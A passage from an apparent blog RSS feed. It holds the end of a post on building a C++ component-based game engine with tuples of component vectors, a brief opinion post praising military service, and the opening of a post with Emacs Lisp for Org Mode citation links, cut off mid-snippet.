&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hiddenBonus_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The above expression will throw an error at compile time because the hiddenBonus_ does not has a RenderComponent and we’re trying to add it to a vector of RenderComponents.&lt;/p&gt;

&lt;p&gt;So far so good. Let’s make the code more readable by removing the hard-coded integers. If we introduce a enum type as:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;enum&lt;/span&gt; &lt;span class="n"&gt;ContainerIndex&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Custom&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Render&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can do things like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;LoadShader&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;LoadMesh&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* load entities */&lt;/span&gt;
    &lt;span class="n"&gt;background_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;meshMap_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ContainerIndex&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Custom&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;background_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ContainerIndex&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;background_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    
    &lt;span class="n"&gt;ninja_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;meshMap_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ContainerIndex&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Custom&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ninja_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ContainerIndex&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ninja_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;hiddenBonus_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ContainerIndex&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Custom&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hiddenBonus_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now getting back to our loop. We can simply do things like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* update all custom components */&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;customComponent&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ContainerIndex&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Custom&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;customComponent&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;glClear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GL_COLOR_BUFFER_BIT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* bind all pieces to the GL pipeline */&lt;/span&gt;
    &lt;span class="n"&gt;meshMem_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Enable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;shader_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Enable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* render all render components */&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;renderComponent&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ContainerIndex&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;renderComponent&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uniform_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;camera_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is the result of this prototype:&lt;/p&gt;

&lt;p&gt;Hosted by imgur.com&lt;/p&gt;

&lt;p&gt;The yellow color is applied to the render-only background, while the cyan is the ‘render+physics’ ninja.&lt;/p&gt;

&lt;p&gt;I haven’t implemented any physics elements, but in a real game with a Physics engine implemented the PhysicsComponent should look something like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PhysicsComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;PhysicsComponent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
&lt;span class="nl"&gt;protected:&lt;/span&gt;
    &lt;span class="n"&gt;b2Body&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;physicsBody_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Physics&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
              &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;screenSize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gravity&lt;/span&gt;
              &lt;span class="p"&gt;);&lt;/span&gt;
    
    &lt;span class="n"&gt;b2World&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;GetWorld&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;unique_ptr&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;b2World&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;physicsWorld_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And any GameObject that listens to physics updates should look something like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Ball&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;transform_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SetPosition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PhysicsConverter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GetPixels2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;physicsBody_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetPosition&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
    &lt;span class="n"&gt;renderer_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;transform_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then the typical Scene class’s Update() should look like:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;GameScene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* enable physics */&lt;/span&gt;
    &lt;span class="n"&gt;physics_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;GLKVector2Make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

	&lt;span class="cm"&gt;/* more loading ... */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;GameScene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* update physics */&lt;/span&gt;
    &lt;span class="n"&gt;physics_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetWorld&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;FPS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;physics_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetWorld&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ClearForces&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* update all custom components */&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;customComponent&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ContainerIndex&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Custom&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;customComponent&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* update camera */&lt;/span&gt;
    &lt;span class="n"&gt;camera_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SetPan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ball_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetTransform&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;GetPosition&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I hope this gives and idea of how can we use the enormous power of C++ to build an game engine based on component system. This also shows why C++ is such a great language for such a pattern when compared to something like Objective-C.&lt;/p&gt;

&lt;p&gt;The entire code for this experiment is available at https://github.com/chunkyguy/CppComponentSystem. Please feel free to checkout and start playing around.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Tue, 23 Sep 2014 20:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/09/23/component-system/</guid></item><item><title>The Ultimate Sacrifice</title><link>http://www.washingtonpost.com/local/f-16-pilot-was-ready-to-give-her-life-on-sept-11/2011/09/06/gIQAMpcODK_story.html</link><description>&lt;p&gt;During September of last year I saw this incredible story pass by, but I let it go without comment. This time, however, I refused to make the same mistake.&lt;/p&gt;

&lt;p&gt;It&amp;#8217;s so easy for us to sit in our homes decrying America&amp;#8217;s defense budget, and say things like, &amp;#8220;I look forward to the day the Air Force has a bake sale in order to raise money.&amp;#8221; America&amp;#8217;s military is not some faceless organization used to enforce the will of politicians, though: these are real people who put their lives on the line every single day so that you do not have to; these are real people who willingly fly to their death for their fellow Americans. Yet so many have the audacity, the gall, to stand up and criticize those whom they have no right to call into question&amp;#160;&amp;#8212;&amp;#160;their motivations, lifestyle, and everyday choices. And this infuriates me. Render respect where it is due.&lt;/p&gt;

&lt;p&gt;For those of you still confused, it is due here.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.washingtonpost.com/local/f-16-pilot-was-ready-to-give-her-life-on-sept-11/2011/09/06/gIQAMpcODK_story.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 23 Sep 2014 15:36:16 GMT</pubDate><guid isPermaLink="true">http://www.washingtonpost.com/local/f-16-pilot-was-ready-to-give-her-life-on-sept-11/2011/09/06/gIQAMpcODK_story.html</guid></item><item><title>Org Mode Citation Links</title><link>https://bastibe.de/2014-09-23-org-cite.html</link><description>&lt;p&gt;I am writing my master's thesis in &lt;a href="http:/orgmode.org/"&gt;Org Mode&lt;/a&gt;, and export to LaTeX for publishing. For the most part, this works incredibly well. Using Org Mode instead of plain LaTeX means no more fiddly &lt;code&gt;\backslash{curly brace}&lt;/code&gt; all over the place. No more scattering code fragments and markup across hundreds of files. And on top of that, deep integration with my research notes and task tracking system.&lt;/p&gt;
&lt;p&gt;But not everything is perfect. For one thing, citations do not work well. Sure, you can always write &lt;code&gt;\cite{cohen93}&lt;/code&gt;, but then you are writing LaTeX again. Also, all the other references and footnotes are clickable, highlighted Org Mode links, but &lt;code&gt;\cite{cohen93}&lt;/code&gt; is just inline LaTeX.&lt;/p&gt;
&lt;p&gt;But luckily, this is Emacs, and Emacs is programmable. And better yet, Org Mode has just the tool for the job:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;org-add-link-type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cite&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;follow-cite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Open bibliography and jump to appropriate entry.&lt;/span&gt;
&lt;span class="s"&gt;        The document must contain \bibliography{filename} somewhere&lt;/span&gt;
&lt;span class="s"&gt;        for this to work&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;find-file-other-window&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;save-excursion&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;beginning-of-buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;save-match-data&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;re-search-forward&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\\\bibliography{\\([^}]+\\)}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;match-string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.bib&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;beginning-of-buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;search-forward&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
